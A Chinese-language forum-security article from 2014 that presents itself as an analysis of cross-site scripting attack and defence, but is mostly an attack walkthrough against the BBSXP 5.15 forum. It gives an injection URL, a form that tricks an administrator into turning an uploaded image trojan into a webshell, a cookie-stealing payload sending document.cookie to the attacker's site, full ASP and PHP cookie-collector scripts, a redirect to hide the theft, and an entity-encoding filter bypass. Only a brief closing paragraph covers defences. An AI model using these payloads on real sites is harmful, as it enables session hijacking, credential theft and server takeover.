歡迎您光臨本站 註冊首頁

淺析跨站攻擊技術與防禦

←手機掃碼閱讀     火星人 @ 2014-03-09 , reply:0
所謂跨站漏洞呢?其實這和現在比較熱門的SQL注入的原理有異曲同工之處,都是由於程序員在寫程序的時候對一些變數沒有做充分的過濾,或者沒做任何的過濾就直接把用戶提交的數據送到SQL語句里執行,這樣導致了用戶所提交的一些特意構造的語句 一般都是帶有象JAVAScript等這類腳本代碼,這樣在服務里一旦被執行就形成了所謂的跨站攻擊了.一般來說對於人機交互行比較高的程序,比如論壇,留言版這類程序都比較容易存在跨站script攻擊.

如何判斷一個程序是否存在跨站漏洞呢?分析程序是最直接的方法了,比如最近搞的很火的BBSXP5.15的跨站漏洞,有大蝦已經詳細的介紹了,偶也就不在詳述了,簡單的說一下在cookies.asp文件里有這麼一句
Response.Cookies("skins")=""&Request("no")&""然後在setup.asp里
response.write "<html><head><meta http-equiv=Content-Type content=text/html;charset=gb2312></head>
<link href=images/skins/"&Request.Cookies("skins")&"/bbs.css rel=stylesheet><script src=inc/BBSxp.js></script>
<script src=inc/ybb.js></script><script src=images/skins/"&Request.Cookies("skins")&"/bbs.js></script>"

我們可以看到,只要構造符合條件的skin的NO,然後在閉合前面的一個"<"接著就可以在後面加上我們的<script腳本了

比如: http://xxx.xxxx.xxx/cookies.asp?menu=skins&no=4><script>document.write(’ <IFRAME marginWidth=100 marginHeight=100 src="http://www.baidu.com"frameBorder=100width=0scrolling=noheight=0to ... gin="0"></IFRAME>’);</script><script>

這樣提交就可以達到我們的跨站目的了,而跟深一層的利用,我們則可以構造表單,迷惑管理員點我們的帖子,或者聯接.比如我們構造 http://127.0.0.1/bbsxp/page2.asp?username=<body onload="javascript:document.forms[0].submit()">



<form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post">
<input value="/UploadFile/2005-5/200512365.jpg" name="yl" >
<input value="database/haha.asp" name="bf" >
</body></html>

/UploadFile/2005-5/200512365.jpg這是你的ASP圖片木馬

這樣我們就如果讓管理員瀏覽了我們的留言,那麼這個腳本就會自動把/UploadFile/2005-5/200512365.jpg

備份成database/haha.asp.我們也就有了可愛的webshell了.而為什麼要管理員瀏覽才有效呢?伺服器上是存在cookies和session機制的

而session其實是在伺服器端的tmp目錄下的某一個文件中為每個用戶儲存一些變數,對session的操作其實是對文件讀寫操作.

seesion是每個用戶都有自己的session.他們的生命周期一般是用戶打開某網站瀏覽器到關閉與次網站連接所有的瀏覽器后結束.cookie這是在用戶端的存貯機制,他需要用戶的打開cookie支持,只有管理才有權利把我們JPG備份在ASP.

現在大家用的比較常見的就是盜取cookies而後欺騙,或者利用社會工程學進一步入侵比如我們構造下面的腳本代碼就可以盜取用戶cookies了

javascript:window.open(‘http://xxx.xxx.xxx/cookies.asp?msg=’ document.cookie)

其中http://xxx.xxx.xxx/是大家自己網站空間,cookies.asp是一個asp腳本用於收集

msg後邊跟的參數,而參數我們指定的是document.cookie,也就是訪問此貼用戶的cookie.

cookies.asp的代碼是:
<%

testfile=Server.MapPath("hun.txt")

msg=Request("msg")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)



thisfile.WriteLine(""&msg& "")

thisfile.close

set fs = nothing

%>

這樣所有訪問者的cookie都會收集在hun.txt這個文件里

但是訪問者訪問我們的帖子,同樣會訪問到我們的網站的,這樣不是露餡了嗎?呵呵,但只要我們稍做處理

就可以做的相對真實,比如我們加上下面的代碼

<script language=vbscript>
window.location.href="http://xxx.xxx.xxx"
</script>

這個xxx.xxx.xxx最好換成你攻擊的網站的域名,這樣做的目的是在他訪問我們精心構造的網站同時開打他

自己的網站,呵呵,這樣是不是會更隱蔽一點呢?

這個cookies.asp和有一個同樣作用的cookies.php一樣,附代碼如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("cookies.txt","a");
fwrite($fp,$info." ");
fclose($fp);
}
?>
但是大部份做的不錯的論壇,都過濾了javascript這些字元.不過還是有方法可以利用的,可以在論壇發的貼里將javascript寫成ascii碼.像j可以寫成”&#x6a;” 防範的方法,就是過濾字元像javascript/<script>/’/;/&/#了等等,當然前提是你的網頁還要正常顯示.建議大家不要輕易打開一些不明url,要將自己的信箱、論壇、QQ等資料的密碼設的都不一樣,如果一旦資料或密碼被盜,避免引連鎖反應,所有資料和密碼都被別人獲得.這就要用到博大精深是社會工程學了.


[火星人 ] 淺析跨站攻擊技術與防禦已經有338次圍觀

http://coctec.com/docs/security/show-post-59287.html